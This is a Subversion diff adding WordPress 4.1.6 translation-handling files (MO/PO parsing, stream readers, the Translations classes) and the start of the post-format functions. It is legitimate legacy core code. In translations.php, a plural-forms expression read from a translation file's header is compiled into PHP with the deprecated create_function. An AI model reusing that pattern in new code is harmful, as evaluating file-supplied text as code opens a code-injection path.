+		$originals    = $reader->str_split( $originals, 8 );
+		$translations = $reader->str_split( $translations, 8 );
+
+		// skip hash table
+		$strings_addr = $header['hash_addr'] + $header['hash_length'] * 4;
+
+		$reader->seekto($strings_addr);
+
+		$strings = $reader->read_all();
+		$reader->close();
+
+		for ( $i = 0; $i < $header['total']; $i++ ) {
+			$o = unpack( "{$endian}length/{$endian}pos", $originals[$i] );
+			$t = unpack( "{$endian}length/{$endian}pos", $translations[$i] );
+			if ( !$o || !$t ) return false;
+
+			// adjust offset due to reading strings to separate space before
+			$o['pos'] -= $strings_addr;
+			$t['pos'] -= $strings_addr;
+
+			$original    = $reader->substr( $strings, $o['pos'], $o['length'] );
+			$translation = $reader->substr( $strings, $t['pos'], $t['length'] );
+
+			if ('' === $original) {
+				$this->set_headers($this->make_headers($translation));
+			} else {
+				$entry = &$this->make_entry($original, $translation);
+				$this->entries[$entry->key()] = &$entry;
+			}
+		}
+		return true;
+	}
+
+	/**
+	 * Build a Translation_Entry from original string and translation strings,
+	 * found in a MO file
+	 *
+	 * @static
+	 * @param string $original original string to translate from MO file. Might contain
+	 * 	0x04 as context separator or 0x00 as singular/plural separator
+	 * @param string $translation translation string from MO file. Might contain
+	 * 	0x00 as a plural translations separator
+	 */
+	function &make_entry($original, $translation) {
+		$entry = new Translation_Entry();
+		// look for context
+		$parts = explode(chr(4), $original);
+		if (isset($parts[1])) {
+			$original = $parts[1];
+			$entry->context = $parts[0];
+		}
+		// look for plural original
+		$parts = explode(chr(0), $original);
+		$entry->singular = $parts[0];
+		if (isset($parts[1])) {
+			$entry->is_plural = true;
+			$entry->plural = $parts[1];
+		}
+		// plural translations are also separated by \0
+		$entry->translations = explode(chr(0), $translation);
+		return $entry;
+	}
+
+	function select_plural_form($count) {
+		return $this->gettext_select_plural_form($count);
+	}
+
+	function get_plural_forms_count() {
+		return $this->_nplurals;
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/pomo/po.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pomo/po.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pomo/po.php	(revision 33402)
@@ -0,0 +1,408 @@
+<?php
+/**
+ * Class for working with PO files
+ *
+ * @version $Id: po.php 718 2012-10-31 00:32:02Z nbachiyski $
+ * @package pomo
+ * @subpackage po
+ */
+
+require_once dirname(__FILE__) . '/translations.php';
+
+define('PO_MAX_LINE_LEN', 79);
+
+ini_set('auto_detect_line_endings', 1);
+
+/**
+ * Routines for working with PO files
+ */
+if ( !class_exists( 'PO' ) ):
+class PO extends Gettext_Translations {
+
+	var $comments_before_headers = '';
+
+	/**
+	 * Exports headers to a PO entry
+	 *
+	 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
+	 */
+	function export_headers() {
+		$header_string = '';
+		foreach($this->headers as $header => $value) {
+			$header_string.= "$header: $value\n";
+		}
+		$poified = PO::poify($header_string);
+		if ($this->comments_before_headers)
+			$before_headers = $this->prepend_each_line(rtrim($this->comments_before_headers)."\n", '# ');
+		else
+			$before_headers = '';
+		return rtrim("{$before_headers}msgid \"\"\nmsgstr $poified");
+	}
+
+	/**
+	 * Exports all entries to PO format
+	 *
+	 * @return string sequence of mgsgid/msgstr PO strings, doesn't containt newline at the end
+	 */
+	function export_entries() {
+		//TODO sorting
+		return implode("\n\n", array_map(array('PO', 'export_entry'), $this->entries));
+	}
+
+	/**
+	 * Exports the whole PO file as a string
+	 *
+	 * @param bool $include_headers whether to include the headers in the export
+	 * @return string ready for inclusion in PO file string for headers and all the enrtries
+	 */
+	function export($include_headers = true) {
+		$res = '';
+		if ($include_headers) {
+			$res .= $this->export_headers();
+			$res .= "\n\n";
+		}
+		$res .= $this->export_entries();
+		return $res;
+	}
+
+	/**
+	 * Same as {@link export}, but writes the result to a file
+	 *
+	 * @param string $filename where to write the PO string
+	 * @param bool $include_headers whether to include tje headers in the export
+	 * @return bool true on success, false on error
+	 */
+	function export_to_file($filename, $include_headers = true) {
+		$fh = fopen($filename, 'w');
+		if (false === $fh) return false;
+		$export = $this->export($include_headers);
+		$res = fwrite($fh, $export);
+		if (false === $res) return false;
+		return fclose($fh);
+	}
+
+	/**
+	 * Text to include as a comment before the start of the PO contents
+	 *
+	 * Doesn't need to include # in the beginning of lines, these are added automatically
+	 */
+	function set_comment_before_headers( $text ) {
+		$this->comments_before_headers = $text;
+	}
+
+	/**
+	 * Formats a string in PO-style
+	 *
+	 * @static
+	 * @param string $string the string to format
+	 * @return string the poified string
+	 */
+	function poify($string) {
+		$quote = '"';
+		$slash = '\\';
+		$newline = "\n";
+
+		$replaces = array(
+			"$slash" 	=> "$slash$slash",
+			"$quote"	=> "$slash$quote",
+			"\t" 		=> '\t',
+		);
+
+		$string = str_replace(array_keys($replaces), array_values($replaces), $string);
+
+		$po = $quote.implode("${slash}n$quote$newline$quote", explode($newline, $string)).$quote;
+		// add empty string on first line for readbility
+		if (false !== strpos($string, $newline) &&
+				(substr_count($string, $newline) > 1 || !($newline === substr($string, -strlen($newline))))) {
+			$po = "$quote$quote$newline$po";
+		}
+		// remove empty strings
+		$po = str_replace("$newline$quote$quote", '', $po);
+		return $po;
+	}
+
+	/**
+	 * Gives back the original string from a PO-formatted string
+	 *
+	 * @static
+	 * @param string $string PO-formatted string
+	 * @return string enascaped string
+	 */
+	function unpoify($string) {
+		$escapes = array('t' => "\t", 'n' => "\n", '\\' => '\\');
+		$lines = array_map('trim', explode("\n", $string));
+		$lines = array_map(array('PO', 'trim_quotes'), $lines);
+		$unpoified = '';
+		$previous_is_backslash = false;
+		foreach($lines as $line) {
+			preg_match_all('/./u', $line, $chars);
+			$chars = $chars[0];
+			foreach($chars as $char) {
+				if (!$previous_is_backslash) {
+					if ('\\' == $char)
+						$previous_is_backslash = true;
+					else
+						$unpoified .= $char;
+				} else {
+					$previous_is_backslash = false;
+					$unpoified .= isset($escapes[$char])? $escapes[$char] : $char;
+				}
+			}
+		}
+		return $unpoified;
+	}
+
+	/**
+	 * Inserts $with in the beginning of every new line of $string and
+	 * returns the modified string
+	 *
+	 * @static
+	 * @param string $string prepend lines in this string
+	 * @param string $with prepend lines with this string
+	 */
+	function prepend_each_line($string, $with) {
+		$php_with = var_export($with, true);
+		$lines = explode("\n", $string);
+		// do not prepend the string on the last empty line, artefact by explode
+		if ("\n" == substr($string, -1)) unset($lines[count($lines) - 1]);
+		$res = implode("\n", array_map(create_function('$x', "return $php_with.\$x;"), $lines));
+		// give back the empty line, we ignored above
+		if ("\n" == substr($string, -1)) $res .= "\n";
+		return $res;
+	}
+
+	/**
+	 * Prepare a text as a comment -- wraps the lines and prepends #
+	 * and a special character to each line
+	 *
+	 * @access private
+	 * @param string $text the comment text
+	 * @param string $char character to denote a special PO comment,
+	 * 	like :, default is a space
+	 */
+	function comment_block($text, $char=' ') {
+		$text = wordwrap($text, PO_MAX_LINE_LEN - 3);
+		return PO::prepend_each_line($text, "#$char ");
+	}
+
+	/**
+	 * Builds a string from the entry for inclusion in PO file
+	 *
+	 * @static
+	 * @param Translation_Entry &$entry the entry to convert to po string
+	 * @return false|string PO-style formatted string for the entry or
+	 * 	false if the entry is empty
+	 */
+	function export_entry(&$entry) {
+		if (is_null($entry->singular)) return false;
+		$po = array();
+		if (!empty($entry->translator_comments)) $po[] = PO::comment_block($entry->translator_comments);
+		if (!empty($entry->extracted_comments)) $po[] = PO::comment_block($entry->extracted_comments, '.');
+		if (!empty($entry->references)) $po[] = PO::comment_block(implode(' ', $entry->references), ':');
+		if (!empty($entry->flags)) $po[] = PO::comment_block(implode(", ", $entry->flags), ',');
+		if (!is_null($entry->context)) $po[] = 'msgctxt '.PO::poify($entry->context);
+		$po[] = 'msgid '.PO::poify($entry->singular);
+		if (!$entry->is_plural) {
+			$translation = empty($entry->translations)? '' : $entry->translations[0];
+			$po[] = 'msgstr '.PO::poify($translation);
+		} else {
+			$po[] = 'msgid_plural '.PO::poify($entry->plural);
+			$translations = empty($entry->translations)? array('', '') : $entry->translations;
+			foreach($translations as $i => $translation) {
+				$po[] = "msgstr[$i] ".PO::poify($translation);
+			}
+		}
+		return implode("\n", $po);
+	}
+
+	/**
+	 * @param string $filename
+	 * @return boolean
+	 */
+	function import_from_file($filename) {
+		$f = fopen($filename, 'r');
+		if (!$f) return false;
+		$lineno = 0;
+		while (true) {
+			$res = $this->read_entry($f, $lineno);
+			if (!$res) break;
+			if ($res['entry']->singular == '') {
+				$this->set_headers($this->make_headers($res['entry']->translations[0]));
+			} else {
+				$this->add_entry($res['entry']);
+			}
+		}
+		PO::read_line($f, 'clear');
+		if ( false === $res ) {
+			return false;
+		}
+		if ( ! $this->headers && ! $this->entries ) {
+			return false;
+		}
+		return true;
+	}
+
+	/**
+	 * @param resource $f
+	 * @param int      $lineno
+	 * @return null|false|array
+	 */
+	function read_entry($f, $lineno = 0) {
+		$entry = new Translation_Entry();
+		// where were we in the last step
+		// can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural
+		$context = '';
+		$msgstr_index = 0;
+		$is_final = create_function('$context', 'return $context == "msgstr" || $context == "msgstr_plural";');
+		while (true) {
+			$lineno++;
+			$line = PO::read_line($f);
+			if (!$line)  {
+				if (feof($f)) {
+					if ($is_final($context))
+						break;
+					elseif (!$context) // we haven't read a line and eof came
+						return null;
+					else
+						return false;
+				} else {
+					return false;
+				}
+			}
+			if ($line == "\n") continue;
+			$line = trim($line);
+			if (preg_match('/^#/', $line, $m)) {
+				// the comment is the start of a new entry
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				// comments have to be at the beginning
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				// add comment
+				$this->add_comment_to_entry($entry, $line);
+			} elseif (preg_match('/^msgctxt\s+(".*")/', $line, $m)) {
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgctxt';
+				$entry->context .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid\s+(".*")/', $line, $m)) {
+				if ($is_final($context)) {
+					PO::read_line($f, 'put-back');
+					$lineno--;
+					break;
+				}
+				if ($context && $context != 'msgctxt' && $context != 'comment') {
+					return false;
+				}
+				$context = 'msgid';
+				$entry->singular .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgid_plural\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgid_plural';
+				$entry->is_plural = true;
+				$entry->plural .= PO::unpoify($m[1]);
+			} elseif (preg_match('/^msgstr\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid') {
+					return false;
+				}
+				$context = 'msgstr';
+				$entry->translations = array(PO::unpoify($m[1]));
+			} elseif (preg_match('/^msgstr\[(\d+)\]\s+(".*")/', $line, $m)) {
+				if ($context != 'msgid_plural' && $context != 'msgstr_plural') {
+					return false;
+				}
+				$context = 'msgstr_plural';
+				$msgstr_index = $m[1];
+				$entry->translations[$m[1]] = PO::unpoify($m[2]);
+			} elseif (preg_match('/^".*"$/', $line)) {
+				$unpoified = PO::unpoify($line);
+				switch ($context) {
+					case 'msgid':
+						$entry->singular .= $unpoified; break;
+					case 'msgctxt':
+						$entry->context .= $unpoified; break;
+					case 'msgid_plural':
+						$entry->plural .= $unpoified; break;
+					case 'msgstr':
+						$entry->translations[0] .= $unpoified; break;
+					case 'msgstr_plural':
+						$entry->translations[$msgstr_index] .= $unpoified; break;
+					default:
+						return false;
+				}
+			} else {
+				return false;
+			}
+		}
+		if (array() == array_filter($entry->translations, create_function('$t', 'return $t || "0" === $t;'))) {
+			$entry->translations = array();
+		}
+		return array('entry' => $entry, 'lineno' => $lineno);
+	}
+
+	/**
+	 * @staticvar string   $last_line
+	 * @staticvar boolean  $use_last_line
+	 * @param     resource $f
+	 * @param     string   $action
+	 * @return boolean
+	 */
+	function read_line($f, $action = 'read') {
+		static $last_line = '';
+		static $use_last_line = false;
+		if ('clear' == $action) {
+			$last_line = '';
+			return true;
+		}
+		if ('put-back' == $action) {
+			$use_last_line = true;
+			return true;
+		}
+		$line = $use_last_line? $last_line : fgets($f);
+		$line = ( "\r\n" == substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
+		$last_line = $line;
+		$use_last_line = false;
+		return $line;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 * @param string            $po_comment_line
+	 */
+	function add_comment_to_entry(&$entry, $po_comment_line) {
+		$first_two = substr($po_comment_line, 0, 2);
+		$comment = trim(substr($po_comment_line, 2));
+		if ('#:' == $first_two) {
+			$entry->references = array_merge($entry->references, preg_split('/\s+/', $comment));
+		} elseif ('#.' == $first_two) {
+			$entry->extracted_comments = trim($entry->extracted_comments . "\n" . $comment);
+		} elseif ('#,' == $first_two) {
+			$entry->flags = array_merge($entry->flags, preg_split('/,\s*/', $comment));
+		} else {
+			$entry->translator_comments = trim($entry->translator_comments . "\n" . $comment);
+		}
+	}
+
+	/**
+	 * @param string $s
+	 * @return sring
+	 */
+	function trim_quotes($s) {
+		if ( substr($s, 0, 1) == '"') $s = substr($s, 1);
+		if ( substr($s, -1, 1) == '"') $s = substr($s, 0, -1);
+		return $s;
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/pomo/streams.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pomo/streams.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pomo/streams.php	(revision 33402)
@@ -0,0 +1,241 @@
+<?php
+/**
+ * Classes, which help reading streams of data from files.
+ * Based on the classes from Danilo Segan <danilo@kvota.net>
+ *
+ * @version $Id: streams.php 718 2012-10-31 00:32:02Z nbachiyski $
+ * @package pomo
+ * @subpackage streams
+ */
+
+if ( !class_exists( 'POMO_Reader' ) ):
+class POMO_Reader {
+
+	var $endian = 'little';
+	var $_post = '';
+
+	function POMO_Reader() {
+		$this->is_overloaded = ((ini_get("mbstring.func_overload") & 2) != 0) && function_exists('mb_substr');
+		$this->_pos = 0;
+	}
+
+	/**
+	 * Sets the endianness of the file.
+	 *
+	 * @param $endian string 'big' or 'little'
+	 */
+	function setEndian($endian) {
+		$this->endian = $endian;
+	}
+
+	/**
+	 * Reads a 32bit Integer from the Stream
+	 *
+	 * @return mixed The integer, corresponding to the next 32 bits from
+	 * 	the stream of false if there are not enough bytes or on error
+	 */
+	function readint32() {
+		$bytes = $this->read(4);
+		if (4 != $this->strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		$int = unpack($endian_letter, $bytes);
+		return array_shift($int);
+	}
+
+	/**
+	 * Reads an array of 32-bit Integers from the Stream
+	 *
+	 * @param integer count How many elements should be read
+	 * @return mixed Array of integers or false if there isn't
+	 * 	enough data or on error
+	 */
+	function readint32array($count) {
+		$bytes = $this->read(4 * $count);
+		if (4*$count != $this->strlen($bytes))
+			return false;
+		$endian_letter = ('big' == $this->endian)? 'N' : 'V';
+		return unpack($endian_letter.$count, $bytes);
+	}
+
+	/**
+	 * @param string $string
+	 * @param int    $start
+	 * @param int    $length
+	 * @return string
+	 */
+	function substr($string, $start, $length) {
+		if ($this->is_overloaded) {
+			return mb_substr($string, $start, $length, 'ascii');
+		} else {
+			return substr($string, $start, $length);
+		}
+	}
+
+	/**
+	 * @param string $string
+	 * @return int
+	 */
+	function strlen($string) {
+		if ($this->is_overloaded) {
+			return mb_strlen($string, 'ascii');
+		} else {
+			return strlen($string);
+		}
+	}
+
+	/**
+	 * @param string $string
+	 * @param int    $chunk_size
+	 * @return array
+	 */
+	function str_split($string, $chunk_size) {
+		if (!function_exists('str_split')) {
+			$length = $this->strlen($string);
+			$out = array();
+			for ($i = 0; $i < $length; $i += $chunk_size)
+				$out[] = $this->substr($string, $i, $chunk_size);
+			return $out;
+		} else {
+			return str_split( $string, $chunk_size );
+		}
+	}
+
+
+	function pos() {
+		return $this->_pos;
+	}
+
+	function is_resource() {
+		return true;
+	}
+
+	function close() {
+		return true;
+	}
+}
+endif;
+
+if ( !class_exists( 'POMO_FileReader' ) ):
+class POMO_FileReader extends POMO_Reader {
+
+	/**
+	 * @param string $filename
+	 */
+	function POMO_FileReader($filename) {
+		parent::POMO_Reader();
+		$this->_f = fopen($filename, 'rb');
+	}
+
+	/**
+	 * @param int $bytes
+	 */
+	function read($bytes) {
+		return fread($this->_f, $bytes);
+	}
+
+	/**
+	 * @param int $pos
+	 * @return boolean
+	 */
+	function seekto($pos) {
+		if ( -1 == fseek($this->_f, $pos, SEEK_SET)) {
+			return false;
+		}
+		$this->_pos = $pos;
+		return true;
+	}
+
+	function is_resource() {
+		return is_resource($this->_f);
+	}
+
+	function feof() {
+		return feof($this->_f);
+	}
+
+	function close() {
+		return fclose($this->_f);
+	}
+
+	function read_all() {
+		$all = '';
+		while ( !$this->feof() )
+			$all .= $this->read(4096);
+		return $all;
+	}
+}
+endif;
+
+if ( !class_exists( 'POMO_StringReader' ) ):
+/**
+ * Provides file-like methods for manipulating a string instead
+ * of a physical file.
+ */
+class POMO_StringReader extends POMO_Reader {
+
+	var $_str = '';
+
+	function POMO_StringReader($str = '') {
+		parent::POMO_Reader();
+		$this->_str = $str;
+		$this->_pos = 0;
+	}
+
+	/**
+	 * @param string $bytes
+	 * @return string
+	 */
+	function read($bytes) {
+		$data = $this->substr($this->_str, $this->_pos, $bytes);
+		$this->_pos += $bytes;
+		if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
+		return $data;
+	}
+
+	/**
+	 * @param int $pos
+	 * @return int
+	 */
+	function seekto($pos) {
+		$this->_pos = $pos;
+		if ($this->strlen($this->_str) < $this->_pos) $this->_pos = $this->strlen($this->_str);
+		return $this->_pos;
+	}
+
+	function length() {
+		return $this->strlen($this->_str);
+	}
+
+	function read_all() {
+		return $this->substr($this->_str, $this->_pos, $this->strlen($this->_str));
+	}
+
+}
+endif;
+
+if ( !class_exists( 'POMO_CachedFileReader' ) ):
+/**
+ * Reads the contents of the file in the beginning.
+ */
+class POMO_CachedFileReader extends POMO_StringReader {
+	function POMO_CachedFileReader($filename) {
+		parent::POMO_StringReader();
+		$this->_str = file_get_contents($filename);
+		if (false === $this->_str)
+			return false;
+		$this->_pos = 0;
+	}
+}
+endif;
+
+if ( !class_exists( 'POMO_CachedIntFileReader' ) ):
+/**
+ * Reads the contents of the file in the beginning.
+ */
+class POMO_CachedIntFileReader extends POMO_CachedFileReader {
+	function POMO_CachedIntFileReader($filename) {
+		parent::POMO_CachedFileReader($filename);
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/pomo/translations.php
===================================================================
--- /tags/4.1.6/src/wp-includes/pomo/translations.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/pomo/translations.php	(revision 33402)
@@ -0,0 +1,324 @@
+<?php
+/**
+ * Class for a set of entries for translation and their associated headers
+ *
+ * @version $Id: translations.php 718 2012-10-31 00:32:02Z nbachiyski $
+ * @package pomo
+ * @subpackage translations
+ */
+
+require_once dirname(__FILE__) . '/entry.php';
+
+if ( !class_exists( 'Translations' ) ):
+class Translations {
+	var $entries = array();
+	var $headers = array();
+
+	/**
+	 * Add entry to the PO structure
+	 *
+	 * @param array|Translation_Entry &$entry
+	 * @return bool true on success, false if the entry doesn't have a key
+	 */
+	function add_entry($entry) {
+		if (is_array($entry)) {
+			$entry = new Translation_Entry($entry);
+		}
+		$key = $entry->key();
+		if (false === $key) return false;
+		$this->entries[$key] = &$entry;
+		return true;
+	}
+
+	/**
+	 * @param array|Translation_Entry $entry
+	 * @return bool
+	 */
+	function add_entry_or_merge($entry) {
+		if (is_array($entry)) {
+			$entry = new Translation_Entry($entry);
+		}
+		$key = $entry->key();
+		if (false === $key) return false;
+		if (isset($this->entries[$key]))
+			$this->entries[$key]->merge_with($entry);
+		else
+			$this->entries[$key] = &$entry;
+		return true;
+	}
+
+	/**
+	 * Sets $header PO header to $value
+	 *
+	 * If the header already exists, it will be overwritten
+	 *
+	 * TODO: this should be out of this class, it is gettext specific
+	 *
+	 * @param string $header header name, without trailing :
+	 * @param string $value header value, without trailing \n
+	 */
+	function set_header($header, $value) {
+		$this->headers[$header] = $value;
+	}
+
+	/**
+	 * @param array $headers
+	 */
+	function set_headers($headers) {
+		foreach($headers as $header => $value) {
+			$this->set_header($header, $value);
+		}
+	}
+
+	/**
+	 * @param string $header
+	 */
+	function get_header($header) {
+		return isset($this->headers[$header])? $this->headers[$header] : false;
+	}
+
+	/**
+	 * @param Translation_Entry $entry
+	 */
+	function translate_entry(&$entry) {
+		$key = $entry->key();
+		return isset($this->entries[$key])? $this->entries[$key] : false;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $context
+	 * @return string
+	 */
+	function translate($singular, $context=null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		return ($translated && !empty($translated->translations))? $translated->translations[0] : $singular;
+	}
+
+	/**
+	 * Given the number of items, returns the 0-based index of the plural form to use
+	 *
+	 * Here, in the base Translations class, the common logic for English is implemented:
+	 * 	0 if there is one element, 1 otherwise
+	 *
+	 * This function should be overrided by the sub-classes. For example MO/PO can derive the logic
+	 * from their headers.
+	 *
+	 * @param integer $count number of items
+	 */
+	function select_plural_form($count) {
+		return 1 == $count? 0 : 1;
+	}
+
+	function get_plural_forms_count() {
+		return 2;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $plural
+	 * @param int    $count
+	 * @param string $context
+	 */
+	function translate_plural($singular, $plural, $count, $context = null) {
+		$entry = new Translation_Entry(array('singular' => $singular, 'plural' => $plural, 'context' => $context));
+		$translated = $this->translate_entry($entry);
+		$index = $this->select_plural_form($count);
+		$total_plural_forms = $this->get_plural_forms_count();
+		if ($translated && 0 <= $index && $index < $total_plural_forms &&
+				is_array($translated->translations) &&
+				isset($translated->translations[$index]))
+			return $translated->translations[$index];
+		else
+			return 1 == $count? $singular : $plural;
+	}
+
+	/**
+	 * Merge $other in the current object.
+	 *
+	 * @param Object &$other Another Translation object, whose translations will be merged in this one
+	 * @return void
+	 **/
+	function merge_with(&$other) {
+		foreach( $other->entries as $entry ) {
+			$this->entries[$entry->key()] = $entry;
+		}
+	}
+
+	function merge_originals_with(&$other) {
+		foreach( $other->entries as $entry ) {
+			if ( !isset( $this->entries[$entry->key()] ) )
+				$this->entries[$entry->key()] = $entry;
+			else
+				$this->entries[$entry->key()]->merge_with($entry);
+		}
+	}
+}
+
+class Gettext_Translations extends Translations {
+	/**
+	 * The gettext implementation of select_plural_form.
+	 *
+	 * It lives in this class, because there are more than one descendand, which will use it and
+	 * they can't share it effectively.
+	 *
+	 * @param int $count
+	 */
+	function gettext_select_plural_form($count) {
+		if (!isset($this->_gettext_select_plural_form) || is_null($this->_gettext_select_plural_form)) {
+			list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
+			$this->_nplurals = $nplurals;
+			$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
+		}
+		return call_user_func($this->_gettext_select_plural_form, $count);
+	}
+
+	/**
+	 * @param string $header
+	 * @return array
+	 */
+	function nplurals_and_expression_from_header($header) {
+		if (preg_match('/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches)) {
+			$nplurals = (int)$matches[1];
+			$expression = trim($this->parenthesize_plural_exression($matches[2]));
+			return array($nplurals, $expression);
+		} else {
+			return array(2, 'n != 1');
+		}
+	}
+
+	/**
+	 * Makes a function, which will return the right translation index, according to the
+	 * plural forms header
+	 * @param int    $nplurals
+	 * @param string $expression
+	 */
+	function make_plural_form_function($nplurals, $expression) {
+		$expression = str_replace('n', '$n', $expression);
+		$func_body = "
+			\$index = (int)($expression);
+			return (\$index < $nplurals)? \$index : $nplurals - 1;";
+		return create_function('$n', $func_body);
+	}
+
+	/**
+	 * Adds parentheses to the inner parts of ternary operators in
+	 * plural expressions, because PHP evaluates ternary oerators from left to right
+	 *
+	 * @param string $expression the expression without parentheses
+	 * @return string the expression with parentheses added
+	 */
+	function parenthesize_plural_exression($expression) {
+		$expression .= ';';
+		$res = '';
+		$depth = 0;
+		for ($i = 0; $i < strlen($expression); ++$i) {
+			$char = $expression[$i];
+			switch ($char) {
+				case '?':
+					$res .= ' ? (';
+					$depth++;
+					break;
+				case ':':
+					$res .= ') : (';
+					break;
+				case ';':
+					$res .= str_repeat(')', $depth) . ';';
+					$depth= 0;
+					break;
+				default:
+					$res .= $char;
+			}
+		}
+		return rtrim($res, ';');
+	}
+
+	/**
+	 * @param string $translation
+	 * @return array
+	 */
+	function make_headers($translation) {
+		$headers = array();
+		// sometimes \ns are used instead of real new lines
+		$translation = str_replace('\n', "\n", $translation);
+		$lines = explode("\n", $translation);
+		foreach($lines as $line) {
+			$parts = explode(':', $line, 2);
+			if (!isset($parts[1])) continue;
+			$headers[trim($parts[0])] = trim($parts[1]);
+		}
+		return $headers;
+	}
+
+	/**
+	 * @param string $header
+	 * @param string $value
+	 */
+	function set_header($header, $value) {
+		parent::set_header($header, $value);
+		if ('Plural-Forms' == $header) {
+			list( $nplurals, $expression ) = $this->nplurals_and_expression_from_header($this->get_header('Plural-Forms'));
+			$this->_nplurals = $nplurals;
+			$this->_gettext_select_plural_form = $this->make_plural_form_function($nplurals, $expression);
+		}
+	}
+}
+endif;
+
+if ( !class_exists( 'NOOP_Translations' ) ):
+/**
+ * Provides the same interface as Translations, but doesn't do anything
+ */
+class NOOP_Translations {
+	var $entries = array();
+	var $headers = array();
+
+	function add_entry($entry) {
+		return true;
+	}
+
+	function set_header($header, $value) {
+	}
+
+	function set_headers($headers) {
+	}
+
+	function get_header($header) {
+		return false;
+	}
+
+	function translate_entry(&$entry) {
+		return false;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $context
+	 */
+	function translate($singular, $context=null) {
+		return $singular;
+	}
+
+	function select_plural_form($count) {
+		return 1 == $count? 0 : 1;
+	}
+
+	function get_plural_forms_count() {
+		return 2;
+	}
+
+	/**
+	 * @param string $singular
+	 * @param string $plural
+	 * @param int    $count
+	 * @param string $context
+	 */
+	function translate_plural($singular, $plural, $count, $context = null) {
+			return 1 == $count? $singular : $plural;
+	}
+
+	function merge_with(&$other) {
+	}
+}
+endif;
Index: /tags/4.1.6/src/wp-includes/post-formats.php
===================================================================
--- /tags/4.1.6/src/wp-includes/post-formats.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/post-formats.php	(revision 33402)
@@ -0,0 +1,237 @@
+<?php
+/**
+ * Post format functions.
+ *
+ * @package WordPress
+ * @subpackage Post
+ */
+
+/**
+ * Retrieve the format slug for a post
+ *
+ * @since 3.1.0
+ *
+ * @param int|object $post Post ID or post object. Optional, default is the current post from the loop.
+ * @return mixed The format if successful. False otherwise.
+ */
+function get_post_format( $post = null ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	if ( ! post_type_supports( $post->post_type, 'post-formats' ) )
+		return false;
+
+	$_format = get_the_terms( $post->ID, 'post_format' );
+
+	if ( empty( $_format ) )
+		return false;
+
+	$format = array_shift( $_format );
+
+	return str_replace('post-format-', '', $format->slug );
+}
+
+/**
+ * Check if a post has any of the given formats, or any format.
+ *
+ * @since 3.1.0
+ *
+ * @param string|array $format Optional. The format or formats to check.
+ * @param object|int $post Optional. The post to check. If not supplied, defaults to the current post if used in the loop.
+ * @return bool True if the post has any of the given formats (or any format, if no format specified), false otherwise.
+ */
+function has_post_format( $format = array(), $post = null ) {
+	$prefixed = array();
+
+	if ( $format ) {
+		foreach ( (array) $format as $single ) {
+			$prefixed[] = 'post-format-' . sanitize_key( $single );
+		}
+	}
+
+	return has_term( $prefixed, 'post_format', $post );
+}
+
+/**
+ * Assign a format to a post
+ *
+ * @since 3.1.0
+ *
+ * @param int|object $post The post for which to assign a format.
+ * @param string $format A format to assign. Use an empty string or array to remove all formats from the post.
+ * @return mixed WP_Error on error. Array of affected term IDs on success.
+ */
+function set_post_format( $post, $format ) {
+	$post = get_post( $post );
+
+	if ( empty( $post ) )
+		return new WP_Error( 'invalid_post', __( 'Invalid post' ) );
+
+	if ( ! empty( $format ) ) {
+		$format = sanitize_key( $format );
+		if ( 'standard' === $format || ! in_array( $format, get_post_format_slugs() ) )
+			$format = '';
+		else
+			$format = 'post-format-' . $format;
+	}
+
+	return wp_set_post_terms( $post->ID, $format, 'post_format' );
+}
+
+/**
+ * Returns an array of post format slugs to their translated and pretty display versions
+ *
+ * @since 3.1.0
+ *
+ * @return array The array of translated post format names.
+ */
+function get_post_format_strings() {
+	$strings = array(
+		'standard' => _x( 'Standard', 'Post format' ), // Special case. any value that evals to false will be considered standard
+		'aside'    => _x( 'Aside',    'Post format' ),
+		'chat'     => _x( 'Chat',     'Post format' ),
+		'gallery'  => _x( 'Gallery',  'Post format' ),
+		'link'     => _x( 'Link',     'Post format' ),
+		'image'    => _x( 'Image',    'Post format' ),
+		'quote'    => _x( 'Quote',    'Post format' ),
+		'status'   => _x( 'Status',   'Post format' ),
+		'video'    => _x( 'Video',    'Post format' ),
+		'audio'    => _x( 'Audio',    'Post format' ),
+	);
+	return $strings;
+}
+
+/**
+ * Retrieves an array of post format slugs.
+ *
+ * @since 3.1.0
+ *
+ * @return array The array of post format slugs.
+ */
+function get_post_format_slugs() {
+	$slugs = array_keys( get_post_format_strings() );
+	return array_combine( $slugs, $slugs );
+}
+
+/**
+ * Returns a pretty, translated version of a post format slug
+ *
+ * @since 3.1.0
+ *
+ * @param string $slug A post format slug.
+ * @return string The translated post format name.
+ */
+function get_post_format_string( $slug ) {
+	$strings = get_post_format_strings();
+	if ( !$slug )
+		return $strings['standard'];
+	else
